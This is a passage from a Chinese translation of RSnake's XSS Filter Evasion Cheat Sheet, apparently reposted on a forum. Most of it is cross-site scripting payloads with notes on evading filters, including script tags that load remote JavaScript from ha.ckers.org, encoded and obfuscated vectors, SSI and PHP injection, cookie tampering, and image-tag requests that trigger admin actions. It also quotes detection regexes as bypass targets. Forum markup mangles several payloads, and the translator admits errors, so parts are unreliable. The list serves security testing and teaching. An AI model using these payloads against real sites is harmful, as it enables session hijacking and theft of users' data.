<SCRIPT/SRC="[url=http://ha.ckers.org/xss.js"></SCRIPT>&#10;]http://ha.ckers.org/xss.js"></SCRIPT>
[/url]
附加的开括号Franz
Sedlmaier提出,利用这个xss向量可以绕过某些检测引擎,因为这些引擎通过拼配最早出现的一对尖括号,并且提取其内部内容作为标签,而没有使用
更加有效的算法例如
Boyer-Moore(寻找打开的尖括号以及相关标签的模糊拼配)。代码中的双斜杠可以抑制额外尖括号导致的javascript错误。
<<SCRIPT>alert("XSS");//<</SCRIPT>


没关闭的script标签
对于使用了 Gecko渲染引擎的Firefox 和 Netscape 8.1
,你并不需要常规xss中"></SCRIPT>"这部分。 Firefox会帮你闭合标签,并且加入结束标签。多么的体贴啊!
Unlike the next one, which doesn't effect Firefox, this does not require
any additional HTML below it.
如果需要,你可以加入引号,但通常他并不是必须的。注意,我并不清楚这个代码被注入后html代码会闭合成什么样子。

<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >


script标签中的协议解析这个特殊的变体由 Łukasz Pilorz 提出,并且基于上文中 Ozh提出的协议解析绕过。这个xss例子工作在 IE,
使用IE渲染引擎的Netscape 以及加了在结尾的 Opera。这是非常有用的在输入长度受到限制。域名越短越好。
".j"是有效的,不需要考虑编码问题因为浏览拿起可以自动识别在一个script标签中。

<SCRIPT SRC=//ha.ckers.org/.j>


半开的HTML/JavaScript xss向量不同于 Firefox
,ie渲染引擎不会加入额外的数据到你的页面。但是它允许javascript指定在图片标签中这是有用的作为一个xss向量,因为它不需要一个结束的尖
括号。你可以插入这个xss向量在任何html标签后面。甚至没有用">"关闭标签。 A note: this does mess up
the HTML, depending on what HTML is beneath it. It gets around the
following NIDS regex:
/((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ because it doesn't
require the end ">". 这也是有效的去对付真实的xss过滤器,我曾经碰见过试用半开的<IFRAME 标签替代
<IMG 标签,

<IMG SRC="javascript:alert('XSS')"


双开尖括号使用一个开始尖括号(<)在向量结尾代替一个关闭尖括号(>)会有不同的影响在 Netscape Gecko 的渲染中。 Without it, Firefox will work but Netscape won't。

<iframe src=http://ha.ckers.org/scriptlet.html <


转义javascript中的转义当一个应用程序是输出用户自定义的信息到javascript代码中,例如: <SCRIPT>var
a="$ENV{QUERY_STRING}";</SCRIPT>。如果你想插入你自己的javascript代码进入它,但是服务器转义
了其中的某些引号,这时你需要通过转义被转义的字符来绕过它。从而使最终的输入代码类似于<SCRIPT>var
a="\";alert('XSS');//";</SCRIPT>
。最终\转义了双引号前被服务器添加的\,而双引号则不会被转义,从而触发xss向量。xss定位器使用这个方法。

\";alert('XSS');//


闭合title标签这是一个简单的xss向量,可以引入一个恶意的xss攻击。译者注:titile标签内部不支持html代码,所有内容会被自动转义为普通字符。
</TITLE><SCRIPT>alert("XSS");</SCRIPT>


INPUT image<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">


BODY image<BODY BACKGROUND="javascript:alert('XSS')">


IMG DYNSRC(视频剪辑)<IMG DYNSRC="javascript:alert('XSS')">


IMG lowsrc(低分辨率图片)<IMG LOWSRC="javascript:alert('XSS')">


List-style-image<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>


List-style-image为带有符号的列表嵌入自定义图片的符号。它是只能工作在ie渲染引擎因为javascript指令。这不是一个特别有用的xss向量。
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>


VBscript in an image<IMG SRC='vbscript:msgbox("XSS")'>



Livescript (仅适用于老版本的Netscape)<IMG SRC="livescript:">


BODY 标签这个方法不需要使用任何"javascript:" or "<SCRIPT..." 的变体去实现xss攻击。Dan Crowley特别指出你可以额外的加入一个空格在等号之前("onload=" != "onload ="):
<BODY ONLOAD=alert('XSS')>



事件处理程序它可以被用于上文中的一些共性xss攻击(这是最完整的一个实时更新的在线列表)。感谢Rene Ledosquet 的更新。此外你可以参考 Dottoro Web Reference 或是 events in JavaScript.
1. FSCommand() (攻击者可以使用它当执行一个嵌入的flash对象时)
2. onAbort() (当使用者终止一张正在载入的图片)
3. onActivate() (当对象被设置为激活元素)
4. onAfterPrint() (用户打印或是预览打印工作后激活)
5. onAfterUpdate() (激活在一个数据对象当源对象数据更新后)
6. onBeforeActivate() (触发在一个对象被设置为激活元素)
7. onBeforeCopy() (攻击者执行攻击代码在一个选区被复制到剪贴板之前-攻击者可以实现它通过execCommand("Copy")函数。)
8. onBeforeCut() (攻击者执行攻击代码在在一个选区被剪贴。)
9. onBeforeDeactivate() (当激活元素被改变后触发)
10. onBeforeEditFocus() (触发在一个可被编辑的元素内的对象就按测到一个 UI-activated状态或是一个可被编辑对象被选择之前)
11. onBeforePaste() (用户需要被欺骗执行粘贴或是去触发它通过execCommand("Paste")函数。)
12. onBeforePrint() (用户需要被欺骗执行打印或是攻击者可以使用print()或是execCommand("Print")函数。)
13. onBeforeUnload() (用户需要被欺骗关闭浏览器-攻击者不可以 unload windows除非它是被执行从其父窗口。)
14. onBeforeUpdate() (激活在数据对象在源对象更新数据之后。)
15. onBegin() (onbegin 事件被立即触发当元素的声明周期开始后)
16. onBlur() (当失去焦点时触发*)
17. onBounce() (触发当选框对象的behavior属性被设置为"alternate"或是选框的内容抵达窗口的一边。)
18. onCellChange() (触发当数据改变在数据provider)
19. onChange() (select, text, or TEXTAREA 字段失去焦点或是它们的值是被改变。)
20. onClick()(点击事件)
21. onContextMenu() (用户需要右击在攻击攻击区域)
22. onControlSelect() (当用户去控制一个选择对象时触发。)
23. onCopy() (用户需要去copy某些东西或是利用execCommand("Copy")命令)
24. onCut() (用户需要copy某些东西或是利用execCommand("Cut") 命令)
25. onDataAvailable() (用户改变数据在某个元素上或是攻击者可以执行相同的函数。)
26. onDataSetChanged() (当源数据对象被改变时触发)
27. onDataSetComplete() (触发当数据是成功获取到从数据源对象)
28. onDblClick() (用户双击某个元素。)
29. onDeactivate() (当当前元素失去激活状态时触发)
30. onDrag() (需要用户拖动某个对象)
31. onDragEnd() (需要用户拖动某个对象)
32. onDragLeave() (需要用户拖动某个对象从一个有效的位置。)
33. onDragEnter() (需要用户拖动某个对象从一个有效的位置。)
34. onDragOver() (需要用户拖动某个对象从一个有效的位置。)
35. onDragDrop() (用户拖动某个对象(例如文件)到浏览器窗口内。)
36. onDragStart() (当用户开始拖动操作时发生。)
37. onDrop() (用户拖动某个对象(例如文件)到浏览器窗口内。)
38. onEnd() (当生命周期结束时触发)
39. onError() (载入document 或 image发生错误时触发)
40. onErrorUpdate() (当更新数据源的相关对象时发生错误则触发)
41. onFilterChange() (当一个滤镜完成状态改变时触发)
42. onFinish() (移动的Marquee文字完成一次移动时触发)
43. onFocus() (当窗口获得焦点时攻击者可以执行代码)
44. onFocusIn() (当窗口获得焦点时攻击者可以执行代码)
45. onFocusOut() (当窗口失去焦点时攻击者可以执行代码)
46. onHashChange() (当当前地址的hash发生改变时触发)
47. onHelp() (当用户在当前窗口点击F1时触发攻击代码)
48. onInput() (可编辑元素中的内容被用户改变后出发)
49. onKeyDown() (用户按下一个键)
50. onKeyPress() (用户点击或是按下一个键)
51. onKeyUp() (用户释放一个键)
52. onLayoutComplete() (用户需要去打印或是打印预览)
53. onLoad() (攻击者执行攻击代码在窗口载入后)
54. onLoseCapture() (可以被触发被releaseCapture() 方法)
55. onMediaComplete() (当波翻改一个流媒体文件时,这个事件将触发在文件开始播放前。)
56. onMediaError() (当用户打开的页面包含一个媒体文件,并且发生错误时触发)
57. onMessage() (当文档对象接受到一个信息时触发)
58. onMouseDown() (攻击者需要让用户去点击一张图片。)
59. onMouseEnter() (光标移入一个对象或是区域)
60. onMouseLeave() (攻击者需要让用户移动光标进入一个图片或是表格,接着再次移出)
61. onMouseMove() (攻击者需要让用户移动鼠标进入一个图片或是表格上)
63. onMouseOver() (光标移到一个对象或是区域上)
64. onMouseUp() (攻击者需要让用户点击一张图片)
65. onMouseWheel() (拥挤着需要让用户去使用他们的鼠标滚轮)
66. onMove() (用户或攻击者需要移动页面)
67. onMoveEnd() (用户说攻击者需要移动页面)
68. onMoveStart() (用户说攻击者需要移动页面)
69. onOffline() (浏览器从在线模式转换到离线模式时发生)
70. onOnline() (浏览器从离线模式转换到在线模式时发生)
71. onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline)
72. onPaste() (用户需要去粘贴或是攻击者执行execCommand("Paste") 方法)
73. onPause() (当激活元素时间停顿时触发,包括body元素)
74. onPopState() (当用户返回会话历史时触发)
75. onProgress() (当一个flash动画载入时触发)
76. onPropertyChange() (用户或攻击者需要改变一个元素的属性)
77. onReadyStateChange() (用户或攻击者需要改变一个元素的属性)
78. onRedo() (用户执行再执行操作)
79. onRepeat() (the event fires once for each repetition of the timeline, excluding the first full cycle)
80. onReset() (用户或攻击者重置表单)
81. onResize() (用户调整窗口大小,或是攻击者自动触发通过某些代码例如&#x3C;SCRIPT>self.resizeTo(500,400);&#x3C;/SCRIPT>)
82. onResizeEnd() (用户调整窗口大小,或是攻击者自动触发通过某些代码例如&#x3C;SCRIPT>self.resizeTo(500,400);&#x3C;/SCRIPT>)
83. onResizeStart() (用户调整窗口大小,或是攻击者自动触发通过某些代码例如&#x3C;SCRIPT>self.resizeTo(500,400);&#x3C;/SCRIPT>)
84. onResume() (当元素从暂停恢复到激活时触发,包括body元素)
85. onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)
86. onRowsEnter() (用户或攻击者需要改变数据源中的一行)
87. onRowExit() (用户或攻击者需要改变数据源中的一行)
88. onRowDelete() (用户或攻击者需要删除数据源中的一行)
89. onRowInserted() (用户或攻击者需要向数据源中插入一行)
90. onScroll() (用户需要滚动,或是攻击者可以执行scrollBy() 函数)
91. onSeek() (媒体播放移动到新位置)
92. onSelect() (用户需要去选择一些文本 - 攻击者可以自动运行利用某些方法例如 window.document.execCommand("SelectAll");)
93. onSelectionChange() (用户需要去选择一些文本 - 攻击者可以自动运行利用某些方法例如 window.document.execCommand("SelectAll");)
94. onSelectStart() (用户需要去选择一些文本 - 攻击者可以自动运行利用某些方法例如 window.document.execCommand("SelectAll");)
95. onStart() (当marquee元素循环开始时触发)
96. onStop() (用户需要点击停止按钮或是离开网页)
97. onStorage() (存储区域改变)
98. onSyncRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire)
99. onSubmit() (需要攻击者或用户提交表单)
100. onTimeError() (用户或攻击者需要设置一个时间属性例如 dur 的值为无效的值)
101. onTrackChange() (用户或攻击者需要改变播放列表的轨迹)
102. onUndo() (user went backward in undo transaction history)
103. onUnload() (当用户点击一个链接或是按下回车键或是攻击者触发一个点击事件)
104. onURLFlip() (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)
105. seekSegmentTime() (this is a method that locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)




BGSOUND(背景音乐)<BGSOUND SRC="javascript:alert('XSS');">


& JavaScript 包含<BR SIZE="&{alert('XSS')}">


样式表<LINK REL="stylesheet" HREF="javascript:alert('XSS');">



远程样式表(通过某些方式例如最简单的远程样式表,你可以插入一个样式参数为嵌入表达式的xss代码)。它是仅仅工作在IE浏览器或是使用了IE渲染引擎的
Netscape
8.1+。需要注意的是页面中并没有展现出它包含了javascript代码。注意:所有的远程样式表示例需要至少用到body标签,负责将无法工作除非
页面中包含除了向量本身的其他内容。因此你需要添加至少一个字母到页面确保他可以工作如果它是一个空白页面。

<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">



 远程样式表2他的工作原理与上面相同。但是使用了STYLE标签代替LINK标签。榆次向量稍有不同的变异被用于攻击Google Desktop。你可以移除</STYLE>标签当后面的html去闭合它。这个向量是有用的在不允许输入等号或是反斜杠的实际环境中。

<STYLE>@import'[url=http://ha.ckers.org/xss.css';</STYLE>&#10;]http://ha.ckers.org/xss.css';</STYLE>
[/url]
远程样式表3它仅仅可以工作在 Opera 8.0 (no longer in 9.x) ,但是是非常的狡猾。 Opera 8.0 (no longer
in 9.x) 。根据RFC2616规定,设置一个连接头不是 HTTP1.1 规定的一部分,但是很多浏览器仍然允许它(例如Firefox
and Opera)。这个技巧是我们可以设置一个http头(与常规http头没有什么不同,只是 Link: http://ha.ckers.org/xss.css; REL=stylesheet)。这样带有xss代码的远程向量将运行javascript。他并不被支持在 FireFox。

<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">


远程样式表4它是仅仅工作在 Gecko 渲染引擎。并且需要绑定一个 XUL文件在页面。令人讽刺的是Netscape认为Gecko是更加安全的,因此绝大多是网站会受到这个攻击。

<STYLE>BODY{-moz-binding:url("[url=http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>&#10;]http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>[/url]


分隔javascript在STYLE标签这个xss在ie浏览器中会造成无线循环

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>


STYLE属性中使用注释去分隔表达式提出被 Roman Ivanov
<IMG STYLE="xss:expr/[i]XSS[/i]/ession(alert('XSS'))">



IMG样式的表达式这是上面xss向量的混合体。但是它是展示了STYLE标签被分隔有多困难。同样它也会在ie下造成循环弹窗。

exp/[i]<A STYLE='no\xss:noxss("[/i]//*");
xss:ex/[i]XSS[/i]//[i]/[/i]/pression(alert("XSS"))'>


STYLE标签(仅支持老版本的Netscape)<STYLE TYPE="text/javascript">alert('XSS');</STYLE>


使用background-image的style标签<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>


使用background的style标签<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>



匿名html标签的属性IE6.0 和使用了ix渲染引擎的Netscape 8.1+ 并不会关心你建立的html标签存在与否。只要它是以尖括号以及字符开始的。

<XSS STYLE="xss:expression(alert('XSS'))">


本地 htc 文件它有一个小的不同与上面的xss向量,因为他使用的 htc 文件必须是当前域的文件。这个文件通过样式属性引入并运行javascript代码实现xss。

<XSS STYLE="behavior: url(xss.htc);">


US-ASCII编码
US-ASCII 编码 (发现被 Kurt Huwig)。它是使用畸形的ASCII 编码用7bits代替8bits.
这个xss可以绕过绝大多数内容过滤,但是必须当前域的传输形式为 US-ASCII编码方式。或者你自己去设置这种编码方式
。它是有用的去绕过web应用防火墙xss过滤比服务器端的过滤。Apache的 Tomcat是众所周知的 使用US-ASCII编码传输协议。

¼script¾alert(¢XSS¢)¼/script¾


META关于meta refresh比较奇怪的是他并不是发送一个刷新请求头。因此他通常用于不需要引用url的攻击。

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">


META using dataURL指令方案,它是非常的不错因为赢没有明显的SCRIPT单词或是JavaScript 指令出现,因为它使用了base64 编码。请查看 RFC 2397了解更多信息或是编码你的代码。你也可以使用 XSS calculator去编码你的html或是javascript代码到base64位。

<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

 
额外url参数的META如果当前网页试图去查找URL参数是否以"http://" 开始,你可以用下列技术绕过(被 Moritz Naumann提出)

<META HTTP-EQUIV="refresh" CONTENT="0; URL=[url=http://;URL=javascript:alert('XSS');">&#10;]http://;URL=javascript:alert('XSS');">
[/url]
IFRAME如果一个iframes被允许,那么同时可能会存在大量其他xss问题

<IFRAME SRC="javascript:alert('XSS');"></IFRAME>


IFRAME 基于事件IFrames或其他元素可以使用事件如下(提出被 David Cross)
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>



FRAMEFrames有一些列相同的问题像 iframes
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>


TABLE<TABLE BACKGROUND="javascript:alert('XSS')">



TD像上面一样,TD也可以通过 BACKGROUND 来包含javascript xss向量

<TABLE><TD BACKGROUND="javascript:alert('XSS')">


DIV background-image<DIV STYLE="background-image: url(javascript:alert('XSS'))">



使用 unicoded编码xss利用代码的DIV background-image这是被轻微的修改去混淆 url 参数。他是最早被发现被 Renaud Lifchitz用于攻击hotmail。

<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
附加额外字符的DIV background-imageRnaske开发了一个XSS fuzzer去探测可以在开括号和javascript之间加入哪些额外字符在 IE和安全模式下的
Netscape 8.1。都是一些十进制的字符,但是你也可以用十六进制来填充。(下面这些编码字符可以被使用:1-32, 34, 39, 160,
8192-8.13, 12288, 65279)

<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">


DIV expression它的一个变体是更加有效的去绕过实际的xss过滤器是在冒号和表达式之间添加换行符。
<DIV STYLE="width: expression(alert('XSS'));">


html条件选择注释块只能工作在IE5.0 以及更新版或是使用了ie渲染引擎的Netscape 8.1 。
一些网站认为任何包裹在注释中的内容都是安全的,因此并不会被移除。这将允许我们的xss向量。或者系统可能通过添加注释对某些内容去试图无害的渲染它。
如我们所见,这有时并不起作用。

<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->


BASE标签工作ie或是使用了安全模块的Netscape 8.1,你需要使用 "//"
斜体文本去避免javascript错误。这需要当前网站使用相对路径(例如images/image.jpg)而不是绝对路径。如果路径开始用一个斜杠
(例如"/images/image.jpg"),你需要去掉xss向量中的一个斜杠(只有在两个斜杠的情况下才会起到注释作用)

<BASE HREF="javascript:alert('XSS');//">


OBJECT标签如果允许objects标签,你也可以注入病毒payloads去感染用户。类似于APPLET标签。这个链接文件是一个包含xss代码的html文件。
<OBJECT TYPE="text/x-scriptlet" DATA="[url=http://ha.ckers.org/scriptlet.html"></OBJECT>&#10;]http://ha.ckers.org/scriptlet.html"></OBJECT>[/url]


使用一个你可以载入包含有xss代码的flash文件的 EMBED 标签点击这个demo,如果你加入属性allowScriptAccess="never" and allownetworking="internal"他可以缓解这个风险(谢谢Jonathan Vanasco 的这个信息)

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>


使用在flash中的ActionScript可以混淆你的xss向量a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);



CDATA混淆的 XML数据岛这个xss向量尽可以在IE 和使用了ie渲染引擎的 Netscape 8.1 下工作。它是 Sec Consult在审计雅虎时发现。

<XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>


使用XML数据岛生成含有javascript代码的当前域xml文件它是相同的同上面仅仅代替XML文件为当前域文件。你可以看到结果在下面。


HTML+TIME 在XML中它展示的 Grey Magic 是怎样攻击 Hotmail 和 Yahoo!的。它是仅仅可以工作在ie和使用了ie渲染引擎的Netscape 8.1。并且这段代码需要放在html域body标签之间。

<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>



简单的修改字符去绕过过滤器对 ".js"的过滤你可以重命名你的javascript文件为一个图片作为xss向量

<SCRIPT SRC="[url=http://ha.ckers.org/xss.jpg"></SCRIPT>&#10;]http://ha.ckers.org/xss.jpg"></SCRIPT>[/url]


SSI (服务器端包含)这需要SSI被安装在服务器端去使用这个xss向量。但可能我并不需要提及这点,因为如果你可以运行命令在服务器端,那么毫无异味会有更加严重的问题存在。
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=[url=http://ha.ckers.org/xss.js></SCRIPT>'"-->&#10;]http://ha.ckers.org/xss.js></SCRIPT>'"-->[/url]
PHP需要php被安装在服务器端去使用这个xss向量。同样的,如果你可以运行恩任何远程脚本,那么将会有更加严重的问题。

<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>


嵌入命令的IMG它是工作于那些需要用户认证后才可以执行命令的当前域页面。它将可以创建删除用户(如果访问者是管理员),或是寄送某些凭证等等,虽然他是较少被使用但是是非常有用的。

<IMG SRC="[url=http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">&#10;]http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">[/url]
嵌入命令的IMG II这是更加的可怕因为并没有特别的标识符去使它看起开来可疑。除非不允许引入第三方域的图片。这个向量是使用一个 302 or 304(或其他可行方案)去重定向一个图片地址为带有某些命令的地址。因此一个正常的图片标签代码<IMG
SRC="a.jpg">可以是带有命令的xss向量。但是用户看到的仅仅是正常的图片链接地址。下面是一个.htaccess(apche下)配
置文件去完成这个向量。(感谢Timo为这部分。)

Redirect 302 /a.jpg [url=http://victimsite.com/admin.aspundefineddeleteuser&#10;]http://victimsite.com/admin.asp&deleteuser
[/url]
Cookie篡改这是公认的不着边际,但是我已经发下一个例子是用 <META
去覆盖cookie。另一个例子是有些网站使用cookie中的某些数据去呈现在当前访问者的网页中为仅仅他自己而不是从远程数据库中获取。当这两个清静
联系在一起的时候,你可以通过修改cookie让javascript输入到用户页面中。(你可以借此让用户退出,改变用户的状态,甚至让用户以你的身份
登录)

<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">


UTF-7编码如果存在xss的页面没有提供页面charset header,或是对于任何被设为UTF-7
的浏览器,我们可以利用下面的代码。(感谢Roman Ivanov
的提供),点击这儿为这个例子。(如果页面设置是自动识别编码且content-types 没有被覆盖,在ie浏览器或使用了IE渲染引擎的
Netscape 8.1,咋你不需要声明 charset
)在没有改变编码的情况下它是不能工作在任何现代浏览器,这是为什么它被标记为完全不支持。Watchfire发现这个漏洞在Google's 自定义
404 脚本中.

<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-


使用HTML 引用封装的xss他是被测试在ie,具体因情况而异。它是为了绕过那些可以输入 "<SCRIPT>" 但不允许输入 "<SCRIPT SRC…",通过正则"/<script[^>]+src/i"进行过滤的xss过滤区。

<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js">
为了执行xss代码在那些允许输入"<SCRIPT>" 但不允许 "<script src…"靠正则拼配"/<script((\s+\w+(\s=\s(?:"(.)?"|'(.)?'|[^'">\s]+))?)+\s|\s)src/i" (这个是重要的,因为我已经看到这个正则在实际环境中。)

<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
另一个逃避相同正则 "/<script((\s+\w+(\s=\s(?:"(.)?"|'(.)?'|[^'">\s]+))?)+\s|\s)src/i"的xss代码

<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
这是另一个xss例子去绕过相同的过滤器,关于"/<script((\s+\w+(\s=\s(?:"(.)?"|'(.)?'|[^'">\s]+))?)+\s|\s)src/i"
的正则过滤。我知道,我说过我将不会去痛痛快快的聊减灾技术。但是这是我所看到的唯一例子在允许用户输入<SCRIPT>但是不允许通过
src加在远程脚本的过滤这个xss的可用方法。(当然,还有一些其他方法去处理它,如果它们允许<SCRIPT> )

<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
最后一个绕过"/<script((\s+\w+(\s=\s(?:"(.)?"|'(.)?'|[^'">\s]+))?)+\s|\s)src/i"正则匹配的例子,通过重音符。(再以无法工作在firfox)

<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
这个xss例子押注域哪些正则并不去拼配一对引号,而是去发现任何引号后就立即结束参数字符串。

<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
这xss仍然让我担心,因为他是几乎没有肯呢过去停止在没有阻止活动内容的情况下。

<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="[url=http://ha.ckers.org/xss.js"></SCRIPT>&#10;]http://ha.ckers.org/xss.js"></SCRIPT>
[/url]
URL 字符串绕过这里假设 "http://www.google.com/" 这种在语法上是不被允许的。
IP代替域名

<A HREF="http://66.102.7.147/">XSS</A>

URL 编码

<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
双字节编码(注意:有其他的双字节编码变种。请参考下面混淆后的ip为更多信息)

<A HREF="http://1113982867/">XSS</A>
十六进制编码The total size of each number allowed is somewhere in the neighborhood
of 240 total characters as you can see on the second
digit,因为十六进制数实在0-f之间,因此第三位开头的0可以被省略掉。

<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
八进制编码Again padding is allowed, although you must keep it above 4 total characters per class – as in class A, class B, etc…:

<A HREF="http://0102.0146.0007.00000223/">XSS</A>
混合编码让我们混合基本编码并且插入一个tab和换行符。为什么浏览器允许这样,我是不知道。但是它是可以工作当它们被包含在引号之间。


<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
协议绕过“//”代替“http:// ”
可以节省更多字符。这是非常有用的当输入空间是有限的时候。两个字符可能解决大问题。也是容易绕过像"(ht|f)tp(s)?://"
这样的正则过滤。(感谢 Ozh 提出这部分)。你也可以改变//" 为 "\"。你需要保持斜杠在适当的地方。否则可能会被当作一个相对路径的url。

<A HREF="//www.google.com/">XSS</A>
Google "feeling lucky" IFirefox 使用 Google的"feeling lucky"
函数去重定向用户输入的任何关键字。因此你可以在可利用页面使用任何关键字针对任何Firefox用户。它是使用了"keyword:"
协议。你可以使用多个关键字像下面的例子:XSS+RSnake。它是无法使用在 Firefox as of 2.0。

<A HREF="//google">XSS</A>
Google "feeling lucky" II这是使用一个小技巧让他工作在Firefox,因为只有它实现了 "feeling lucky" 函数。不像下一个例子,它是无法工作在 Opera
,由于
Opera认为它是一种老的钓鱼攻击。它是一个简单的畸形url。如果你点击弹出框的确定按钮它将工作。但是由于这是一个错误对话框,我是说Opera是
不支持它。它也不再被支持在 Firefox 2.0。

<A HREF="http://ha.ckers.org@google">XSS</A>
Google "feeling lucky" III它是通过畸形url来工作在Firefox 和 Opera浏览器。因为只有他们实现了 "feeling lucky" 函数。像上面的例子一样,它们需要你的网站在谷歌搜索中排名第一。(例如google)

<A HREF="http://google:ha.ckers.org">XSS</A>
移除别名结合上面的url。移除 "www." 将节省四个字符。

<A HREF="http://google.com/">XSS</A>
绝对 DNS用额外的点

<A HREF="http://www.google.com./">XSS</A>
JavaScript link location

<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
针对内容替换的攻击向量假设 "http://www.google.com/"
会被替换为空。我确实使用了一个简单的攻击向量去针对特殊文字过滤依靠过滤器本身。这是一个例子去帮助创建向量。(IE: "java script:"
被替换为"java script:", 它是仍可以工作在 IE,使用安全模块的 Netscape 8.1+ 和 Opera)

<A HREF="[url=http://www.gohttp://www.google.com/ogle.com/">XSS</A>&#10;]http://www.gohttp://www.google.com/ogle.com/">XSS</A>
[/url]
字符编码表再付 "<" 在html或是javascript中所有可能的编码形式。它们绝大多数是无法正常渲染的,但是可以在上文中某些情景下得到渲染。
<
%3C
&lt
<
&LT
&LT;
&#60
&#060
&#0060
&#00060
&#000060
&#0000060
&#60;
&#060;
&#0060;
&#00060;
&#000060;
&#0000060;
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c
&#x000003c
&#x3c;
&#x03c;
&#x003c;
&#x0003c;
&#x00003c;
&#x000003c;
&#X3c
&#X03c
&#X003c
&#X0003c
&#X00003c
&#X000003c
&#X3c;
&#X03c;
&#X003c;
&#X0003c;
&#X00003c;
&#X000003c;
&#x3C
&#x03C
&#x003C
&#x0003C
&#x00003C
&#x000003C
&#x3C;
&#x03C;
&#x003C;
&#x0003C;
&#x00003C;
&#x000003C;
&#X3C
&#X03C
&#X003C
&#X0003C
&#X00003C
&#X000003C
&#X3C;
&#X03C;
&#X003C;
&#X0003C;
&#X00003C;
&#X000003C;
\x3c
\x3C
\u003c
\u003C
字符编码和ip混淆器
下面地址中包含了在xss有用的各种基本转换器。
http://ha.ckers.org/xsscalc.html



作者和主编:Robert "RSnake" Hansen
翻译:老道
  查看全部
原文地址:http://drops.wooyun.org/tips/1955
在我另一个大表哥的博客看到的,貌似他不想别人知道他的博客,我就不放出他的博客了。@redfree

译者注:
翻译本文的最初原因是当我自己看到这篇文章后,觉得它是非常有价值。但是这么著名的一个备忘录却一直没有人把它翻译成中文版。很多人仅仅是简单的把文中的
各种代码复制下来,然后看起来很刁的发在各种论坛上,不过你要真去认真研读这些代码,就会完全不知所云了。原因是这篇文章最精华的部分是代码的解释而非代
码本身。
一方面为了自己学习,一方面也想让更多国内的xss爱好者去更方便的阅读本文。所以虽然我本身英语很烂,xss技术也很烂,但还是去翻译了这篇文
章。当然这也导致最后翻译出来的文章晦涩难懂、不知所云。这个真心向大家说声抱歉啊,也希望大家能及时帮忙提出文中的翻译错误或其他错误。
另外,在翻译过程中,我发现XSS Filter Evasion Cheat
Sheet原版本身也存在一些技术上的或是描述上的错误。不过虽然我知道原文中某些地方可能出错,但是我也不知道正确的应该是什么样的,还有就是或许原文
